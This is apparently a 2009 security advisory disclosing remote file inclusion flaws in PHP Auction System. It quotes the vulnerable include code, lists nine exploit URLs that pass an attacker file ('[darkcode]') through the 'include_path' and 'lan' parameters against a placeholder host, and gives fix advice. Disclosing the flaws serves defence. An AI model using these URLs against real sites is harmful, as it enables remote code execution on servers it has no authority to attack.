[»]=======================================================================================================[_][-][X]
[»]                                                                                     [»]
[»]             PHPAuctionSystem Multiple Remote File Inclusion Vulnerability          [»]
[»]                                             [»]
[»]                   =======    ------d-------m------     ====    ====           [»]
[»]                  ||     =        | |(o o)| |          ||   ||   ||           [»]
[»]                 ||     =          ||(~)||            ||        ||           [»]
[»]                  =======             /|\              ||        ||          [»]
[»]=============================================================================================================[»]
[»]         Author           : ~darkmasking~               [»]
[»]         Date             : January, 6th 2009                     [»]
[»]         Web             : https://www.idsafeshield.com          [»]
[»]                  Contact          : support[at]idsafeshield[dot]com          [»]
[»]          Critical Level   : Dangerous              [»]
[»]-------------------------------------------------------------------------------------------------------------[»]
[»]                         Affected software description :                  [»]
[»]           Software   : PHP Auction System            [»]
[»]                Vendor    : http://www.phpauctions.info/          [»]
[»]                  Price           : $59.99              [»]
[»]=============================================================================================================[»]
[»]                            [»]
[»]  [~] Vulnerable file                      [»]
[»]                            [»]
[»]    [+] all file below is affected by "include_path" parameter          [»]
[»]                            [»]
[»]    ./includes/settings.inc.php                  [»]
[»]    $password_file = $include_path."passwd.inc.php";            [»]
[»]    include($password_file);                  [»]
[»]    include $include_path."fonts.inc.php";                [»]
[»]    include $include_path."fontsize.inc.php";              [»]
[»]    include($include_path."currency.inc.php");              [»]
[»]    include($include_path."errors.inc.php");              [»]
[»]    include($include_path."https.inc.php");                [»]
[»]                            [»]
[»]    ./includes/auction_confirmation.inc.php                [»]
[»]    require("./includes/messages.inc.php");                [»]
[»]                            [»]
[»]    ./includes/converter.inc.php                  [»]
[»]    include($include_path."nusoap.php");                [»]
[»]                            [»]
[»]    ./includes/messages.inc.php                  [»]
[»]    require($include_path.'messages.'.$language.'.inc.php');          [»]
[»]                            [»]
[»]    ./includes/stats.inc.php                  [»]
[»]    include $prefix."includes/useragent.inc.php";              [»]
[»]    include $prefix."includes/domains.inc.php";              [»]
[»]                            [»]
[»]    ./includes/useragent.inc.php                  [»]
[»]    include $prefix."includes/browsers.inc.php";              [»]
[»]    include $prefix."includes/platforms.inc.php";              [»]
[»]                            [»]
[»]    ./includes/user_confirmation.inc.php                [»]
[»]    require("./includes/messages.inc.php");                [»]
[»]                            [»]
[»]                            [»]
[»]    [+] All file below is affected by "lan" parameter            [»]
[»]                            [»]
[»]    ./browse.php                      [»]
[»]    ./search.php                      [»]
[»]    if(!empty($_GET['lan'])) {                  [»]
[»]      $language = $lan;                  [»]
[»]      $_SESSION['language'] = $language;              [»]
[»]                            [»]
[»]    #// Set language cookie                    [»]
[»]      setcookie("USERLANGUAGE",$lan,time()+31536000,"/");          [»]
[»]    } elseif(empty($_SESSION['language']) && !isset($_COOKIE['USERLANGUAGE'])) {      [»]
[»]      $language = $SETTINGS['defaultlanguage'];            [»]
[»]      $_SESSION['language'] = $language;              [»]
[»]                            [»]
[»]    #// Set language cookie                    [»]
[»]      setcookie("USERLANGUAGE",$language,time()+31536000);          [»]
[»]    } elseif(isset($_COOKIE['USERLANGUAGE'])) {              [»]
[»]      $language = $_COOKIE['USERLANGUAGE'];              [»]
[»]    }                        [»]
[»]                            [»]
[»]    require($include_path.'messages.'.$language.'.inc.php');          [»]
[»]                            [»]
[»]-------------------------------------------------------------------------------------------------------------[»]
[»]                            [»]
[»]  [~] Exploit                        [»]
[»]                            [»]
[»]  [+] "include_path" parameter                    [»]
[»]                            [»]
[»]  http://www.darkvictims.com/[path]/includes/settings.inc.php?include_path=[darkcode]      [»]
[»]  http://www.darkvictims.com/[path]/includes/auction_confirmation.inc.php?include_path=[darkcode]    [»]
[»]  http://www.darkvictims.com/[path]/includes/converter.inc.php?include_path=[darkcode]      [»]
[»]  http://www.darkvictims.com/[path]/includes/messages.inc.php?include_path=[darkcode]      [»]
[»]  http://www.darkvictims.com/[path]/includes/stats.inc.php?include_path=[darkcode]      [»]
[»]  http://www.darkvictims.com/[path]/includes/useragent.inc.php?include_path=[darkcode]      [»]
[»]  http://www.darkvictims.com/[path]/includes/user_confirmation.inc.php?include_path=[darkcode]    [»]
[»]                            [»]
[»]                            [»]
[»]  [+] "lan" parameter                      [»]
[»]                            [»]
[»]  http://www.darkvictims.com/[path]/browse.php?lan=[darkcode]            [»]
[»]  http://www.darkvictims.com/[path]/search.php?lan=[darkcode]            [»]
[»]                            [»]
[»]-------------------------------------------------------------------------------------------------------------[»]
[»]                            [»]
[»]   [~] How to fix this vulnerability                  [»]
[»]                            [»]
[»]      Edit the source code to ensure that input is properly validated. Where is possible,       [»]
[»]      it is recommended to make a list of accepted filenames and restrict the input to that list.    [»]
[»]                            [»]
[»]      For PHP, the option allow_url_fopen would normally allow a programmer to open,         [»]
[»]      include or otherwise use a remote file using a URL rather than a local file path.       [»]
[»]      It is recommended to disable this option from php.ini.              [»]
[»]                            [»]
[»]-------------------------------------------------------------------------------------------------------------[»]
[»]                            [»]
[»]  [~] Greetz                        [»]
[»]                            [»]
[»]  BUAT DIRI SENDIRI AJA [ Sorry Bro belum dapat teman :) ]            [»]
[»]                            [»]
[»]                            [»]
[»]=============================================================================================================[»]